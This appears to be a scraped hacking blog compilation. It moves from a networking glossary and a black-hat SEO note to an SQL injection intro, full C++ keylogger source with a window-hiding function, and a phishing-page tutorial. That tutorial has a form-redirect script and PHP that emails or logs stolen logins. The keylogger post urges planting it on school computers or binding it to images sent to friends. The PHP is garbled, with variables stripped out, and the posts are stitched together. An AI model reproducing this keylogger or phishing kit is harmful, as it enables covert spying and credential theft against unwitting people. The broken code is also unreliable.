Networking Acronyms and
Terminology
may 17, 2012 @ 11:11 am by hackingmanual
This is a list of basic computer networking
acronyms and terminology. It is a first draft
and I will continue to update it and add more
information and terms.
LAN - Local Area Network usually a single
building or campus
WAN- Connects lans up to global in scale
(internet)
MAN - Metro area network City Wide Network
SAN Data storage network
PAN Devices around a persons work area, PDA
Keybord mouse.
NIC - Network interface card
NOS - Network operating system- windows
server, linux, unix netware
Terminator - resistive load at the end of the
network cable that blocks reflection and
reduces noise
Repeater - network amplifier repeats all
incoming packets as broadcast to all
connections
Bridge - connects two similar networks
Gateway - connects two dissimilar networks
Router- same as gateway but only for
routeable protocols can also direct network
traffic.
B router - router only able to support a single
protocol
Hub - network splitter, broadcasts all incoming
packets to all ports
Passive- no active componenets splits signal to
all ports, only one per segment, terminate
unused ports
Active - powered hub amplifies signal while
broadcasting to all ports.
Switch Splits network and provides and
provides direction to network packets
Node device that connects to network
NAS Network attached storage
Collision Detecion and Avoidance
- CSMA/CA
-Carrier Sense Multiple Access/Collision
Avoidance
-Node checks network for other broadcasts
before transmitting
-CSMA/CD
-Carrier Sense Multiple Access/Collision
Detection
-Node broadcasts and waits for reply or time
out
Token passing
-Only the node with an empty token can
broadcast
-Every node handles every token
-Time sharing ensures every node gets equal
time
MAU -Multistation Access Unit, Allows devices
to attach to token ring network
Network Administrator -Responsible for
maintaining network hardware, software, and
users.
IPX- Internet Packet eXchange
ISP -Internet Service Provider
UNC -Universal Naming Convention
POTS -Plain Old Telephone Service
TCP/IP -Transmission Control Protocol/Internet
Protocol
SLIP -Serial Line Internet Protocol
PPP-Point-to-Point Protocol
DUN - Dial Up Network
UTP -Unshielded Twisted Pair
STP- Shielded Twisted Pair or Spanning Tree
Protocol
Protocol -Set of rules telling devices on
network how to communicate
Topology - Physical and logical layout of
network
VLAN- virtual local area network
DHCP – Dynamic Host Configuration Protocol
VPN – virtual private network
SSL – secure sockets layer
Friday, 1 November 2013
Network acronyms
Blackhat SEO Posioning attack
Blackhat SEO poisoning attacks
Recently , i have reported that Google Image
search and Bing Image search leads to
malware sites especially a blackhole exploit
kit page. The reason behind this attack is SEO
Poisoning.
What is SEO?
Search engine optimization (SEO) is a
collection of techniques to improve the
visibility of a website in a search engine's
search results. Some of the techniques used
by webmasters in
What is BlackHat SEO?
Black Hat SEO , also known as SEO poisoning,
is a illegal-technique used by cyber criminals
to make their links appear higher than
legitimate results. When a user search for
related keywords, the infected links appear in
the top of the search results
Hacker use one of the following techniques:
*Creating SEO-friendly fake pages related to
poplar search topics on compromised sites
*Cloak malicious content from sphiders and
security researchers.
* Iframe injection
Poisoning Image search Results:
As most of search engines filter and find the
text-based seo poisoning attacks, Cyber
criminals now poisoning the Image search
results instead.
They hacked legitimate sites and inject
malicoius code. Whenever a person click the
Image of compromised site in the search
result , it will redirect him to malware sites.
Sophos reports that bing image-search results
are being poisoned more than other search
engines.
Learn more about SEO Poisoning :
here
How to hack your broadband
SQL injection tutorial all common SQL problems and their solutions
What is database and my SQL Injections
In this i'll give you the intro to the
SQL Injections. Next post will give you
detailed information about the SQL injections.
What is the Database?
Datbase is an application that stores a
collection of Data.Database offers various APIs
for creating, accessing and managing the data
it holds. And database(DB) servers can be
integrated with our web development so that
we can pick up the things we want from the
database without much difficulties.
Database is a place that stores
username,passwords and more details.
Database should be secured. But providing
high level security is not possible for all sites
(much costlier or poor programming ). So
Database of many websites is insecure or
vulnerable(easily hackable).
Some List of Database are:
DB servers,
MySQL(Open source),
MSSQL,
MS-ACCESS,
Oracle,
Postgre SQL(open source),
SQLite,
What is SQL injection?
SQL injection is Common and famous
method of hacking at present . Using this
method an unauthorized person can access
the database of the website. Attacker can get
all details from the Database.
What an attacker can do?
ByPassing Logins
Accessing secret data
Modifying contents of website
Shutting down the My SQL
server
Learn to create keylogger using c++
Hi friends, the most interesting part of the
hacking is spying. Today i am going to
introduce to the C++ Spyware code. It is
going to be very fun. You can install this
spyware in your college/school or in your
friend system, and get their username and
passwords. This is very simple hacking trick
when compared to phishing web page.
Disadvantage of Phishing Web page:
you have to upload phishing web page to web
hosting. But only few website won't detect
the phishing webpage.
website url is different. Easy to detect that we
are hacking.
Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.
How to create Keylogger using Visual C++?
Requirements:
Dev C++. Download it from here: http://
www.bloodshed.net/
Knowledge about Visual C++(need, if you are
going to develop the code).
Install dev C++ in your system and open the
dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there
in window.
now copy the below keylogger code into the
blank work space.
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/*
***********************************
*/
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke ==
110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/*
***********************************
*/
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA
("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Compile the Code(Ctrl+F9)
Now execute the program by selecting
Execute->Run(ctrl+F10)
now your keylogger will run in your system.
whatever you type using keyboard. It will be
stored in Log.txt file.
you can see the log.txt file where you save
the file.
bind the exe file with image or any files and
send it to your friend.
(0r)
if you have physical access to your college/
school system,then copy the exe file in that
system and run it.
For now, i just gave a simple keylogger. Soon i
will post most efficient keylogger's program code.
How to create your own phinshing webpage
How to Create your OWN Phishing Site
How to create your own phishing site.
A phishing site is usually made up of 1 to 3
files that are usually scripted in HTML or PHP.
The first file is usually a HTML login page with
a small script inside that tells the second file
to record whatever they type in. The process
file is usually coded in PHP, the process file
writes to the third file, which is usually the log
file, which is usually in a txt format.
Go to a login page, any page at all that you
want to make into a fake login, lets use
Myspace for example. Go to
"www.worldofwarcraft.com" then on your web
browser on the menu bar go to "File>>Save
Page As" save it in a folder on your desktop
called "Fake Login" (please make sure your not
logged in when you save the page) then go to
the file, and where you see the file you saved
rename it, "index.html", then right click it and
select the option edit, than add the following
code to the bottom.
Code:
<script>
var x;for(x in document.forms){void(document.forms[x].action="process.php
")};
</script>
Now there are two ways to write up the
process file. First one is where you get the
login emailed (Part1) to you, second is where
your login gets recorded into a text document
(Part2).
Part1.
Than save. Now we have our login page, the
first file of the fake login, now we need our
process file. Open notepad, and than copy and
paste the following code inside.
Code:
<?php
= "POST DATAn---------------------------------n";
function log(, ){ global ; .= ." = ".."n"; }
array_walk(Array, "log");
mail("email@watever.com", "Fake Login", );
header("Location: http://www.website.com");
Now we have to do a bit of editing, on the
code above, on the 5th line of code where it
says "email@watever.com" replace that with
your own email for example
"imsexi@hotmail.com". Now on the 6th line of
code where it says "http://www.website.com"
replace that with a address that you want your
user to be forwarded to after they login to
your login file, for example
"www.worldofwarcraft.com". Now save that
file as "process.php".
Now we have our login page, the first file of
the fake login, now we need our process file.
Open notepad, and then copy and paste the
following code inside.
Code:
<?php
header("Location: "link");
= fopen("logs.txt", "a");
foreach(Array as => ) {
fwrite(, );
fwrite(, "=");
fwrite(, );
fwrite(, "rn");
}
fwrite(, "rn");
Now for Part2 script we will have to do some
editing, on the second line of code where it
says "link" change that to where you want the
user to go after they enter their login on your
login page and now save that file as
"process.php". Then create a text document
called "logs.txt" thats where your logins will be
recorded.
Enjoy guys